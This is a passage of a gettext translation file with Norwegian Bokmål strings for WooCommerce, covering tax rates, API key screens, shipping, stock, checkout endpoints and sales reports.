#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1561
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1675
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1781
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1873
#: src/Admin/API/Reports/Taxes/Controller.php:125
#: src/RestApi/Routes/V4/Orders/Schema/AbstractLineItemSchema.php:104
#: src/RestApi/Routes/V4/Orders/Schema/OrderTaxSchema.php:52
msgid "Tax rate ID."
msgstr "Avgiftssats-ID."
#: includes/admin/settings/views/html-settings-tax.php:40
msgid "Choose whether or not this tax rate also gets applied to shipping."
msgstr "Velg hvorvidt denne avgiftssatsen også blir brukt til frakt."
#: includes/admin/settings/views/html-settings-tax.php:39
msgid "Choose whether or not this is a compound rate. Compound tax rates are applied on top of other tax rates."
msgstr "Velg hvorvidt dette er en sammensatt avgiftssats. Sammensatte avgiftssatser er brukt på toppen av andre avgiftssatser."
#: includes/admin/settings/class-wc-settings-tax.php:255
#: includes/admin/settings/views/html-settings-tax.php:39
msgid "Compound"
msgstr "Sammensatt"
#: includes/admin/settings/views/html-settings-tax.php:38
msgid "Choose a priority for this tax rate. Only 1 matching rate per priority will be used. To define multiple tax rates for a single area you need to specify a different priority per rate."
msgstr "Velg en prioritet for denne avgiftssatsen. Bare 1 matchende sats pr. prioritet vil bli brukt. For å definere flere avgiftssatser for et enkelt område må du angi en annen prioritet pr. sats."
#: includes/admin/settings/class-wc-settings-tax.php:254
#: includes/admin/settings/views/html-settings-tax.php:38
msgid "Priority"
msgstr "Prioritet"
#: includes/admin/settings/views/html-settings-tax.php:37
msgid "Enter a name for this tax rate."
msgstr "Tast inn et navn for denne avgiftssatsen."
#: includes/admin/settings/views/html-settings-tax.php:36
msgid "Enter a tax rate (percentage) to 4 decimal places."
msgstr "Angi en avgiftssats (prosent) med fire desimaler."
#: includes/admin/settings/views/html-settings-tax.php:36
msgid "Rate %"
msgstr "Sats %"
#: includes/admin/settings/views/html-settings-tax.php:35
msgid "Cities for this rule. Semi-colon (;) separate multiple values. Leave blank to apply to all cities."
msgstr "Byer for denne regelen. Semikolon (;) skiller flere verdier. La stå tom for å gjelde alle byer."
#: includes/admin/settings/views/html-settings-tax.php:33
msgid "A 2 digit state code, e.g. AL. Leave blank to apply to all."
msgstr "En 2-bokstavs delstats kode, f.eks. MD. La stå tom for å bruke på alle."
#: includes/admin/settings/views/html-settings-tax.php:32
msgid "A 2 digit country code, e.g. US. Leave blank to apply to all."
msgstr "En 2-bokstavs landkode, f.eks. US. La stå tom for å bruke på alle."
#: includes/admin/settings/views/html-settings-tax.php:32
msgid "Country code"
msgstr "Lands kode"
#: includes/admin/settings/views/html-keys-edit.php:161
msgid "QRCode"
msgstr "QRCode"
#: includes/admin/settings/views/html-keys-edit.php:153
msgid "Consumer secret"
msgstr "Kundehemmelighet"
#: includes/admin/class-wc-admin-profile.php:103
#: includes/admin/settings/views/html-keys-edit.php:148
#: includes/admin/settings/views/html-keys-edit.php:156
#: assets/client/admin/product-editor/index.js:2
msgid "Copy"
msgstr "Kopi"
#: includes/admin/meta-boxes/views/html-order-download-permission.php:48
#: includes/admin/settings/views/html-keys-edit.php:148
#: includes/admin/settings/views/html-keys-edit.php:156
#: includes/admin/views/html-admin-page-status-report.php:65
#: includes/admin/views/html-admin-page-status-report.php:68
#: assets/client/admin/chunks/launch-store.js:1
#: assets/client/admin/product-editor/index.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:2
msgid "Copied!"
msgstr "Kopiert!"
#: includes/admin/settings/views/html-keys-edit.php:145
msgid "Consumer key"
msgstr "Kundenøkkel"
#: includes/admin/settings/views/html-keys-edit.php:132
#: includes/class-wc-ajax.php:2405
msgid "Revoke key"
msgstr "Opphev nøkkel"
#: includes/admin/settings/views/html-keys-edit.php:127
msgid "Generate API key"
msgstr "Generer API-nøkkel"
#: includes/admin/settings/views/html-keys-edit.php:68
msgid "Select the access type of these keys."
msgstr "Velg tilgangstype for disse nøklene."
#: includes/admin/settings/views/html-keys-edit.php:43
msgid "Owner of these keys."
msgstr "Eier av disse nøklene."
#: includes/admin/settings/views/html-keys-edit.php:29
msgid "Friendly name for identifying this key."
msgstr "Vennlig navn for å identifisere denne nøkkelen."
#: includes/admin/settings/views/html-keys-edit.php:12
msgid "Key details"
msgstr "Nøkkeldetaljer"
#. translators: $s tax rate section name
#: includes/admin/settings/class-wc-settings-tax.php:90
msgid "%s rates"
msgstr "%s satser"
#: includes/admin/settings/class-wc-settings-tax.php:82
msgid "Standard rates"
msgstr "Standardsatser"
#: includes/admin/settings/class-wc-settings-tax.php:81
#: includes/admin/settings/views/settings-tax.php:13
msgid "Tax options"
msgstr "Avgiftsalternativer"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:612
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:790
#: includes/export/class-wc-product-csv-exporter.php:129
msgid "ID"
msgstr "ID"
#: includes/admin/settings/views/html-admin-page-shipping-zones.php:46
msgid "Shipping method(s)"
msgstr "Fraktmåte(r)"
#: includes/admin/settings/class-wc-settings-general.php:218
msgid "Ship to specific countries only"
msgstr "Send kun til utvalgte land"
#: includes/admin/settings/class-wc-settings-general.php:217
msgid "Ship to all countries"
msgstr "Send til alle land"
#: includes/admin/settings/class-wc-settings-general.php:216
msgid "Ship to all countries you sell to"
msgstr "Send til alle landene du selger til"
#: includes/admin/settings/class-wc-settings-general.php:209
msgid "Choose which countries you want to ship to, or choose to ship to all locations you sell to."
msgstr "Velg til hvilke land du ønsker å sende, eller velg å sende til alle steder du selger til."
#: includes/admin/settings/class-wc-settings-shipping.php:141
msgid "This controls which shipping address is used by default."
msgstr "Dette styrer hvilken leveringsadresse brukes som standard."
#: includes/admin/settings/class-wc-settings-shipping.php:140
msgid "Shipping destination"
msgstr "Fraktdestinasjon"
#: includes/admin/settings/class-wc-settings-shipping.php:123
msgid "Hide shipping costs until an address is entered"
msgstr "Skjul fraktkostnadene frem til en adresse skrives inn"
#: includes/admin/settings/class-wc-settings-shipping.php:114
msgid "Enable the shipping calculator on the cart page"
msgstr "Slå på fraktkalkulatoren på handlekurvsiden"
#: includes/admin/settings/class-wc-settings-products.php:177
msgid "Show \"verified owner\" label on customer reviews"
msgstr "Vis \"bekreftet eier\"-etikett for omtaler"
#: includes/admin/settings/class-wc-settings-products.php:197
msgid "Product ratings"
msgstr "Produktvurderinger"
#: includes/admin/settings/class-wc-settings-products.php:138
msgid "This controls what unit you will define lengths in."
msgstr "Dette styrer i hvilken enhet du vil definere lengder."
#: includes/admin/settings/class-wc-settings-products.php:137
msgid "Dimensions unit"
msgstr "Dimensjonsenhet"
#: includes/admin/settings/class-wc-settings-products.php:121
msgid "This controls what unit you will define weights in."
msgstr "Dette styrer i hvilken enhet du vil definere vekter."
#: includes/admin/settings/class-wc-settings-products.php:120
msgid "Weight unit"
msgstr "Vektenhet"
#: includes/admin/settings/class-wc-settings-products.php:114
msgid "Measurements"
msgstr "Mål"
#: includes/admin/settings/class-wc-settings-products.php:432
msgid "Enable this option to grant access to downloads when orders are \"processing\", rather than \"completed\"."
msgstr "Slå på dette valget for å gi tilgang til nedlastinger når ordrer er \"behandler\", og ikke \"fullført\"."
#: includes/admin/settings/class-wc-settings-products.php:428
msgid "Grant access to downloadable products after payment"
msgstr "Gi tilgang til nedlastbare produkter etter betaling"
#: includes/admin/settings/class-wc-settings-products.php:422
msgid "This setting does not apply to guest purchases."
msgstr "Denne innstillingen gjelder ikke for gjestekjøp."
#: includes/admin/settings/class-wc-settings-products.php:418
msgid "Downloads require login"
msgstr "Nedlasting krever innlogging"
#: includes/admin/settings/class-wc-settings-products.php:417
msgid "Access restriction"
msgstr "Tilgangsbegrensning"
#: includes/admin/settings/class-wc-settings-products.php:397
msgid "Redirect only"
msgstr "Kun omdiriger"
#: includes/admin/settings/class-wc-settings-products.php:396
msgid "X-Accel-Redirect/X-Sendfile"
msgstr "X-Accel-Redirect/X-Sendfile"
#: includes/admin/settings/class-wc-settings-products.php:395
msgid "Force downloads"
msgstr "Tving nedlastinger"
#: includes/admin/settings/class-wc-settings-products.php:376
msgid "File download method"
msgstr "Nedlastingsmåte for filer"
#: includes/admin/settings/class-wc-settings-products.php:337
msgid "Stock display format"
msgstr "Lagervisningsformat"
#: includes/admin/settings/class-wc-settings-products.php:330
msgid "Hide out of stock items from the catalog"
msgstr "Skjul produkter som er utsolgt fra katalogen"
#: includes/admin/settings/class-wc-settings-products.php:329
msgid "Out of stock visibility"
msgstr "Synlighet når utsolgt"
#: includes/admin/settings/class-wc-settings-products.php:314
msgid "Out of stock threshold"
msgstr "Terskel for utsolgt"
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:115
#: includes/admin/meta-boxes/views/html-product-data-variations.php:108
#: includes/admin/meta-boxes/views/html-variation-admin.php:291
#: includes/admin/settings/class-wc-settings-products.php:298
msgid "Low stock threshold"
msgstr "Terskel for lite på lager"
#: includes/admin/settings/class-wc-settings-products.php:286
msgid "Notification recipient(s)"
msgstr "Meldingsmottaker(e)"
#: includes/admin/settings/class-wc-settings-products.php:276
msgid "Enable out of stock notifications"
msgstr "Slå på varsler for utsolgt"
#: includes/admin/settings/class-wc-settings-products.php:266
msgid "Enable low stock notifications"
msgstr "Slå på varsler for lite på lager"
#: includes/admin/settings/class-wc-settings-products.php:265
#: src/Internal/StockNotifications/Admin/MenusController.php:55
msgid "Notifications"
msgstr "Varsler"
#: includes/admin/settings/class-wc-settings-products.php:251
msgid "Hold stock (for unpaid orders) for x minutes. When this limit is reached, the pending order will be cancelled. Leave blank to disable."
msgstr "Hold lager (for ubetalte ordrer) i x minutter. Når denne grensen er nådd, vil den ventende ordren bli kansellert. La stå tom for å slå av."
#: includes/admin/settings/class-wc-settings-products.php:250
msgid "Hold stock (minutes)"
msgstr "Hold lager (minutter)"
#: includes/admin/settings/class-wc-settings-products.php:243
msgid "Enable stock management"
msgstr "Slå på lagerstyring"
#: includes/admin/settings/class-wc-settings-products.php:242
msgid "Manage stock"
msgstr "Administrer lager"
#: includes/admin/settings/class-wc-settings-products.php:92
msgid "Enable AJAX add to cart buttons on archives"
msgstr "Slå på AJAX for 'Legg i handlekurv'-knapper i arkiver"
#: includes/admin/settings/class-wc-settings-products.php:85
msgid "Redirect to the cart page after successful addition"
msgstr "Omdiriger til handlekurvsiden etter vellykket tillegging"
#: includes/admin/settings/class-wc-settings-products.php:84
msgid "Add to cart behaviour"
msgstr "Adferd for 'Legg i handlekurv'"
#: includes/customizer/class-wc-shop-customizer.php:333
#: includes/customizer/class-wc-shop-customizer.php:504
msgid "Sort by price (desc)"
msgstr "Sorter etter pris (synkende)"
#: includes/customizer/class-wc-shop-customizer.php:332
#: includes/customizer/class-wc-shop-customizer.php:503
msgid "Sort by price (asc)"
msgstr "Sorter etter pris (stigende)"
#: includes/customizer/class-wc-shop-customizer.php:331
#: includes/customizer/class-wc-shop-customizer.php:502
msgid "Sort by most recent"
msgstr "Sorter etter nyeste"
#: includes/customizer/class-wc-shop-customizer.php:330
#: includes/customizer/class-wc-shop-customizer.php:501
#: includes/wc-template-functions.php:1626
#: includes/widgets/class-wc-widget-rating-filter.php:27
#: src/StoreApi/Schemas/V1/ProductCollectionDataSchema.php:84
#: assets/client/blocks/all-products-frontend.js:4
#: assets/client/blocks/all-products.js:9
#: assets/client/blocks/all-products.js:12
msgid "Average rating"
msgstr "Gjennomsnittsvurdering"
#: includes/customizer/class-wc-shop-customizer.php:329
#: includes/customizer/class-wc-shop-customizer.php:500
msgid "Popularity (sales)"
msgstr "Popularitet (salg)"
#: includes/customizer/class-wc-shop-customizer.php:328
#: includes/customizer/class-wc-shop-customizer.php:499
msgid "Default sorting (custom ordering + name)"
msgstr "Standard sortering (tilpasset rekkefølge + navn)"
#: includes/customizer/class-wc-shop-customizer.php:491
#: src/Blocks/BlockTypes/ProductCollection/Controller.php:238
msgid "Default product sorting"
msgstr "Standard produktsortering"
#: includes/customizer/class-wc-shop-customizer.php:471
msgid "Show subcategories"
msgstr "Vis alle underkategorier"
#: includes/customizer/class-wc-shop-customizer.php:444
#: includes/customizer/class-wc-shop-customizer.php:470
msgid "Show products"
msgstr "Vis produkter"
#: includes/customizer/class-wc-shop-customizer.php:438
msgid "Shop page display"
msgstr "Visning av butikkside"
#: includes/admin/settings/class-wc-settings-products.php:81
msgid "This sets the base page of your shop - this is where your product archive will be."
msgstr "Dette setter grunnsiden for butikken din - det er der produktarkivet vil være."
#. translators: %s: URL to settings.
#: includes/admin/settings/class-wc-settings-products.php:75
msgid "The base page can also be used in your <a href=\"%s\">product permalinks</a>."
msgstr "Basesiden kan også brukes i <a href=\"%s\">produktpermalenker</a>."
#: includes/admin/settings/class-wc-settings-products.php:73
msgid "Shop page"
msgstr "Butikkside"
#: includes/admin/settings/class-wc-settings-integrations.php:25
msgid "Integration"
msgstr "Integrasjon"
#: includes/admin/settings/class-wc-settings-general.php:357
msgid "This sets the number of decimal points shown in displayed prices."
msgstr "Dette setter antall desimaler som vises i viste priser."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:613
msgid "Number of decimals."
msgstr "Antall desimaler."
#: includes/admin/settings/class-wc-settings-general.php:347
msgid "This sets the decimal separator of displayed prices."
msgstr "Dette setter desimaltegnet for viste priser."
#: includes/admin/settings/class-wc-settings-general.php:337
msgid "This sets the thousand separator of displayed prices."
msgstr "Dette setter tusenskilletegnet for viste priser."
#: includes/admin/settings/class-wc-settings-general.php:321
msgid "This controls the position of the currency symbol."
msgstr "Dette styrer posisjonen for valutasymbolet."
#: includes/admin/settings/class-wc-settings-general.php:310
msgid "This controls what currency prices are listed at in the catalog and which currency gateways will take payments in."
msgstr "Dette styrer hvilke valutapriser som er oppført i katalogen, og i hvilke valutaer porter vil ha betalt i."
#: includes/admin/settings/class-wc-settings-general.php:309
#: includes/admin/views/html-admin-page-status-report.php:713
msgid "Currency"
msgstr "Valuta"
#: includes/admin/settings/class-wc-settings-general.php:303
msgid "The following options affect how prices are displayed on the frontend."
msgstr "Følgende valg påvirker hvordan priser vises på publikumsområdet."
#: includes/admin/settings/class-wc-settings-general.php:301
msgid "Currency options"
msgstr "Valutavalg"
#: includes/customizer/class-wc-shop-customizer.php:369
#: includes/wc-template-functions.php:1094
msgid "This is a demo store for testing purposes — no orders shall be fulfilled."
msgstr "Dette er en demobutikk for testing, ingen ordrer kan gjennomføres."
#: includes/customizer/class-wc-shop-customizer.php:380
#: includes/wc-template-functions.php:1105
msgid "Store notice"
msgstr "Butikkmelding"
#: includes/admin/settings/class-wc-settings-general.php:243
msgid "Geolocate (with page caching support)"
msgstr "Geolokalisering (med støtte for sidecaching)"
#: includes/admin/settings/class-wc-settings-general.php:242
msgid "Geolocate"
msgstr "Geolokalisering"
#: includes/admin/settings/views/settings-tax.php:41
msgid "Shop base address"
msgstr "Butikkens baseadresse"
#: includes/admin/reports/class-wc-report-downloads.php:89
#: includes/admin/reports/class-wc-report-downloads.php:223
msgid "IP address"
msgstr "IP addresse"
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:40
#: includes/shipping/legacy-free-shipping/class-wc-shipping-legacy-free-shipping.php:118
#: includes/shipping/legacy-local-delivery/class-wc-shipping-legacy-local-delivery.php:180
msgid "Specific Countries"
msgstr "Utvalgte land"
#: includes/admin/settings/class-wc-settings-general.php:183
msgid "Sell to all countries"
msgstr "Selg til alle land"
#: includes/admin/settings/class-wc-settings-general.php:175
msgid "This option lets you limit which countries you are willing to sell to."
msgstr "Dette valget lar deg begrense til hvilke land du vil selge."
#: includes/admin/settings/class-wc-settings-general.php:174
msgid "Selling location(s)"
msgstr "Utsalgssted(er)"
#: includes/admin/settings/class-wc-settings-emails.php:161
msgid "Email template"
msgstr "E-postmal"
#: includes/admin/settings/class-wc-settings-emails.php:126
msgid "\"From\" name"
msgstr "Avsendernavn"
#: includes/admin/settings/class-wc-settings-emails.php:119
msgid "Email sender options"
msgstr "Avsendervalg for e-post"
#: includes/admin/settings/class-wc-settings-emails.php:66
msgid "Email options"
msgstr "E-post valg"
#: includes/admin/settings/class-wc-settings-emails.php:34
#: src/Admin/Features/Blueprint/Exporters/ExportWCSettingsEmails.php:58
#: src/Internal/EmailEditor/Integration.php:138
msgid "Emails"
msgstr "E-poster"
#: includes/admin/settings/class-wc-settings-advanced.php:215
msgid "Endpoint for the \"Checkout → Add payment method\" page."
msgstr "Sluttpunkt for siden \"Kasse → Legg til betalingsmåte\"."
#: includes/admin/settings/class-wc-settings-advanced.php:214
#: includes/class-wc-query.php:153 src/Admin/PluginsHelper.php:1227
#: templates/myaccount/form-add-payment-method.php:54
#: templates/myaccount/payment-methods.php:77
msgid "Add payment method"
msgstr "Legg til betalingsmåte"
#: includes/admin/settings/class-wc-settings-advanced.php:206
msgid "Endpoint for the \"Checkout → Order received\" page."
msgstr "Sluttpunkt for siden \"Kasse → Ordre mottatt\"."
#: includes/admin/settings/class-wc-settings-advanced.php:205
#: includes/class-wc-query.php:125
#: src/Blocks/BlockTypes/OrderConfirmation/Status.php:167
#: assets/client/blocks/legacy-template.js:4
#: assets/client/blocks/order-confirmation-status.js:1
msgid "Order received"
msgstr "Ordre mottatt"
#: includes/admin/settings/class-wc-settings-advanced.php:197
msgid "Endpoint for the \"Checkout → Pay\" page."
msgstr "Sluttpunkt for siden \"Kasse → Betaling\"."
#: includes/admin/settings/class-wc-settings-advanced.php:196
#: includes/wc-account-functions.php:305 templates/checkout/thankyou.php:36
msgid "Pay"
msgstr "Betal"
#: includes/admin/settings/class-wc-settings-advanced.php:191
msgid "Endpoints are appended to your page URLs to handle specific actions during the checkout process. They should be unique."
msgstr "Sluttpunkter legges til nettadressene for å håndtere konkrete handlinger under bestillingsprosessen. De bør være unike."
#: includes/admin/settings/class-wc-settings-advanced.php:189
msgid "Checkout endpoints"
msgstr "Kassesluttpunkter"
#: includes/admin/settings/class-wc-settings-advanced.php:140
msgid "If you define a \"Terms\" page the customer will be asked if they accept them when checking out."
msgstr "Hvis du definerer en \"Vilkår\"-side, vil kunden bli spurt om de godtar dem når de sjekker ut."
#: includes/admin/settings/class-wc-settings-advanced.php:139
#: includes/customizer/class-wc-shop-customizer.php:823
#: includes/customizer/class-wc-shop-customizer.php:827
#: includes/customizer/class-wc-shop-customizer.php:884
msgid "Terms and conditions"
msgstr "Salgsbetingelser"
#: includes/admin/settings/class-wc-settings-advanced.php:99
msgid "Checkout page"
msgstr "Kasseside"
#: includes/admin/settings/class-wc-settings-advanced.php:79
msgid "Cart page"
msgstr "Handlekurvside"
#: includes/admin/settings/class-wc-settings-advanced.php:73
msgid "These pages need to be set so that WooCommerce knows where to send users to checkout."
msgstr "Disse sidene må settes slik at WooCommerce vet hvor du skal sende brukerne til kassen."
#: includes/admin/settings/class-wc-settings-advanced.php:175
msgid "Force HTTP when leaving the checkout"
msgstr "Bruk HTTP når du forlater kassen"
#: includes/admin/settings/class-wc-settings-advanced.php:164
msgid "Force secure checkout"
msgstr "Tving sikker betaling"
#: includes/admin/settings/class-wc-settings-accounts.php:65
msgid "Allows customers to checkout without an account."
msgstr "Tillater kunder gå til kassen uten en konto."
#: includes/admin/settings/class-wc-settings-general.php:289
msgid "When applying multiple coupons, apply the first coupon to the full price and the second coupon to the discounted price and so on."
msgstr "Når flere rabattkoder brukes, bruk den første rabattkoden til den fulle prisen, og den andre rabattkoden til den rabatterte prisen og så videre."
#: includes/admin/settings/class-wc-settings-general.php:285
msgid "Calculate coupon discounts sequentially"
msgstr "Beregn rabattkoderabatter sekvensielt"
#: includes/admin/settings/class-wc-settings-general.php:281
msgid "Coupons can be applied from the cart and checkout pages."
msgstr "Rabattkoder kan brukes på handlekurv- og kassesidene."
#: includes/admin/settings/class-wc-settings-general.php:275
msgid "Enable the use of coupon codes"
msgstr "Slå på bruk av rabattkoder"
#: includes/admin/settings/class-wc-settings-general.php:166
msgid "General options"
msgstr "Generelle valg"
#: includes/admin/settings/class-wc-settings-accounts.php:82
#: includes/admin/settings/class-wc-settings-accounts.php:101
#: includes/admin/settings/class-wc-settings-accounts.php:111
msgid "Account creation"
msgstr "Kontoopprettelse"
#: includes/admin/settings/class-wc-settings-advanced.php:317
msgid "Endpoint for the triggering logout. You can add this to your menus via a custom link: yoursite.com/?customer-logout=true"
msgstr "Sluttpunkt for den utløsende utloggingen. Du kan legge dette til menyene dine via en tilpasset lenke: dinsite.com/?customer-logout=true"
#: includes/admin/settings/class-wc-settings-advanced.php:316
#: templates/auth/form-grant-access.php:59
msgid "Logout"
msgstr "Logg ut"
#: includes/admin/settings/class-wc-settings-advanced.php:308
msgid "Endpoint for the \"My account → Lost password\" page."
msgstr "Sluttpunkt for siden \"Min konto → Glemt passord\"."
#: includes/admin/class-wc-admin-customize.php:77
#: includes/admin/class-wc-admin-menus.php:418
#: includes/admin/settings/class-wc-settings-advanced.php:307
#: includes/class-wc-query.php:159
msgid "Lost password"
msgstr "Glemt passord"
#: includes/admin/settings/class-wc-settings-advanced.php:290
msgid "Endpoint for the \"My account → Addresses\" page."
msgstr "Sluttpunkt for siden \"Min konto → Adresser\"."
#: includes/admin/settings/class-wc-settings-advanced.php:281
msgid "Endpoint for the \"My account → Edit account\" page."
msgstr "Sluttpunkt for siden \"Min konto → Rediger konto\"."
#: includes/admin/settings/class-wc-settings-advanced.php:280
msgid "Edit account"
msgstr "Rediger konto"
#: includes/admin/settings/class-wc-settings-advanced.php:263
msgid "Endpoint for the \"My account → View order\" page."
msgstr "Sluttpunkt for siden \"Min konto → Vis ordre\"."
#: includes/admin/settings/class-wc-settings-advanced.php:262
#: includes/class-wc-post-types.php:471
msgid "View order"
msgstr "Vis ordre"
#: includes/admin/settings/class-wc-settings-advanced.php:119
msgid "My account page"
msgstr "Min konto side"
#: templates/myaccount/navigation.php:25
msgid "Account pages"
msgstr "Kontosider"
#: includes/emails/class-wc-email.php:447
msgid "Accounts"
msgstr "Kontoer"
#: includes/admin/reports/class-wc-report-taxes-by-date.php:248
#: templates/checkout/form-pay.php:29
msgid "Totals"
msgstr "Totaler"
#: includes/admin/reports/class-wc-report-taxes-by-date.php:218
msgid "Total sales minus shipping and tax."
msgstr "Totale salg minus frakt og avgift."
#: includes/admin/reports/class-wc-report-taxes-by-date.php:218
msgid "Net profit"
msgstr "Netto fortjeneste"
#: includes/admin/reports/class-wc-report-taxes-by-date.php:216
msgid "This is the sum of the 'Shipping total' field within your orders."
msgstr "Dette er summen av feltet 'Frakttotal' i ordrene dine."
#: includes/admin/reports/class-wc-report-taxes-by-date.php:216
msgid "Total shipping"
msgstr "Total frakt"
#: includes/admin/reports/class-wc-report-taxes-by-date.php:215
msgid "This is the sum of the 'Order total' field within your orders."
msgstr "Dette er summen av feltet 'Ordretotal' i ordrene dine."
#: includes/admin/reports/class-wc-report-taxes-by-date.php:215
#: src/Admin/API/Reports/Revenue/Stats/Controller.php:282
#: assets/client/admin/chunks/analytics-report-revenue.js:1
#: assets/client/admin/chunks/dashboard-charts.js:1
msgid "Total sales"
msgstr "Total salg"
#: includes/admin/reports/class-wc-report-taxes-by-date.php:213
msgid "Period"
msgstr "Periode"
#: includes/admin/reports/class-wc-report-taxes-by-code.php:235
#: includes/admin/reports/class-wc-report-taxes-by-date.php:259
msgid "No taxes found in this period"
msgstr "Ingen avgifter funnet i denne perioden"
#: includes/admin/reports/class-wc-report-taxes-by-code.php:203
#: includes/admin/reports/class-wc-report-taxes-by-date.php:217
msgid "This is the total tax for the rate (shipping tax + product tax)."
msgstr "Dette er den totale avgiften for satsen (fraktavgift + produktavgift)."
#: includes/admin/reports/class-wc-report-taxes-by-code.php:203
#: includes/admin/reports/class-wc-report-taxes-by-date.php:217
#: src/Admin/API/Reports/Taxes/Controller.php:232
#: assets/client/admin/chunks/analytics-report-taxes.js:1
#: assets/client/admin/chunks/dashboard-charts.js:1
msgid "Total tax"
msgstr "Total avgift"
#: includes/admin/reports/class-wc-report-taxes-by-code.php:202
msgid "This is the sum of the \"Tax rows\" shipping tax amount within your orders."
msgstr "Dette er summen av \"Avgiftsrader\" fraktavgiftbeløpet i dine ordre."
#: includes/admin/reports/class-wc-report-taxes-by-code.php:202
msgid "Shipping tax amount"
msgstr "Beløp for fraktavgift"
#: includes/admin/reports/class-wc-report-taxes-by-code.php:201
msgid "This is the sum of the \"Tax rows\" tax amount within your orders."
msgstr "Dette er summen av \"Avgiftsrader\"-avgiftsbeløpet inenfor dine ordre."
#: includes/admin/reports/class-wc-report-taxes-by-code.php:201
msgid "Tax amount"
msgstr "Avgiftsbeløp"
#: src/Admin/API/Reports/Categories/Controller.php:141
#: src/Admin/API/Reports/Coupons/Controller.php:129
#: src/Admin/API/Reports/Products/Stats/Controller.php:140
#: src/Admin/API/Reports/Revenue/Stats/Controller.php:177
#: src/Admin/API/Reports/Taxes/Controller.php:179
#: src/Admin/API/Reports/Taxes/Stats/Controller.php:156
#: src/Admin/API/Reports/Variations/Stats/Controller.php:144
msgid "Number of orders."
msgstr "Antall ordre."
#: includes/admin/reports/class-wc-report-taxes-by-code.php:199
#: src/Admin/API/Reports/Taxes/Controller.php:231
#: assets/client/admin/chunks/analytics-report-taxes.js:1
msgid "Rate"
msgstr "Sats"
#: includes/admin/reports/class-wc-report-stock.php:177
msgid "Units in stock"
msgstr "Enheter på lager"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:648
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:834
#: includes/admin/reports/class-wc-report-stock.php:176
#: includes/export/class-wc-product-csv-exporter.php:166
#: assets/client/admin/product-editor/blocks/generic/taxonomy/create-taxonomy-modal.js:1
#: assets/client/admin/product-editor/index.js:2
msgid "Parent"
msgstr "Forelder"
#: includes/admin/reports/class-wc-report-stock.php:48
#: packages/email-editor/src/Integrations/WooCommerce/Renderer/Blocks/class-product-collection.php:498
msgid "No products found."
msgstr "Ingen produkter funnet."
#: includes/admin/reports/class-wc-report-sales-by-product.php:545
msgid "Sales amount"
msgstr "Salgsbeløp"
#: includes/admin/reports/class-wc-report-sales-by-product.php:333
msgid "Top earners"
msgstr "Topp inntjenere"
#: includes/admin/reports/class-wc-report-sales-by-product.php:281
msgid "Top freebies"
msgstr "Topp gratis produkter"
#: includes/admin/reports/class-wc-report-sales-by-product.php:276
#: includes/admin/reports/class-wc-report-sales-by-product.php:328
#: includes/admin/reports/class-wc-report-sales-by-product.php:373
msgid "No products found in range"
msgstr "Ingen produkter funnet i utvalg"
#: includes/admin/reports/class-wc-report-sales-by-product.php:236
msgid "Top sellers"
msgstr "Bestselgere"
#: includes/admin/reports/class-wc-report-sales-by-product.php:218
msgid "Product search"
msgstr "Produktsøk"
#. translators: Reset button text for filters.
#: includes/admin/reports/class-wc-report-sales-by-product.php:210
#: assets/client/admin/chunks/1087.js:2
#: assets/client/admin/components/index.js:2
#: assets/client/admin/product-editor/index.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:9
#: assets/client/blocks/attribute-filter-frontend.js:4
#: assets/client/blocks/attribute-filter-wrapper-frontend.js:4
#: assets/client/blocks/attribute-filter.js:10
#: assets/client/blocks/featured-category.js:1
#: assets/client/blocks/featured-product.js:1
#: assets/client/blocks/price-filter-frontend.js:5
#: assets/client/blocks/price-filter-wrapper-frontend.js:3
#: assets/client/blocks/price-filter.js:5
#: assets/client/blocks/rating-filter-frontend.js:7
#: assets/client/blocks/rating-filter-wrapper-frontend.js:3
#: assets/client/blocks/rating-filter.js:7
#: assets/client/blocks/stock-filter-frontend.js:5
#: assets/client/blocks/stock-filter-wrapper-frontend.js:4
#: assets/client/blocks/stock-filter.js:5
msgid "Reset"
msgstr "Tilbakestill"
#: includes/admin/reports/class-wc-report-sales-by-product.php:178
msgid "Showing reports for:"
msgstr "Viser rapporter for:"
#. translators: %s: total items purchased
#: includes/admin/reports/class-wc-report-sales-by-product.php:130
msgid "%s purchases for the selected items"
msgstr "%s kjøp av valgte produkter"
#. translators: %s: total items sold
#: includes/admin/reports/class-wc-report-sales-by-product.php:123
msgid "%s sales for the selected items"
msgstr "%s salg av valgte produkter"
#: includes/admin/reports/class-wc-report-sales-by-date.php:773
msgid "Net sales amount"
msgstr "Netto salgsbeløp"
#: includes/admin/reports/class-wc-report-sales-by-date.php:763
msgid "Gross sales amount"
msgstr "Brutto salgsbeløp"
#: includes/admin/reports/class-wc-report-sales-by-date.php:753
msgid "Shipping amount"
msgstr "Fraktbeløp"
#: includes/admin/reports/class-wc-report-sales-by-date.php:733
msgid "Average net sales amount"
msgstr "Gjennomsnittlig netto salg"
#: includes/admin/reports/class-wc-report-sales-by-date.php:715
#: includes/admin/reports/class-wc-report-taxes-by-code.php:200
#: includes/admin/reports/class-wc-report-taxes-by-date.php:214
#: src/Admin/API/Reports/Orders/Stats/Controller.php:130
msgid "Number of orders"
msgstr "Antall ordrer"
#: includes/admin/reports/class-wc-report-sales-by-date.php:707
#: includes/admin/reports/class-wc-report-sales-by-product.php:537
#: src/Admin/API/Reports/Orders/Stats/Controller.php:151
msgid "Number of items sold"
msgstr "Antall produkter solgt"
#. translators: %s: total coupons
#: includes/admin/reports/class-wc-report-sales-by-date.php:564
msgid "%s worth of coupons used"
msgstr "%s i verdi av rabattkoder brukt"
#. translators: %s: total shipping
#: includes/admin/reports/class-wc-report-sales-by-date.php:555
msgid "%s charged for shipping"
msgstr "%s tatt for frakt"
#. translators: %s: total items
#: includes/admin/reports/class-wc-report-sales-by-date.php:535
msgid "%s items purchased"
msgstr "%s produkter kjøpt"
#. translators: %s: total orders
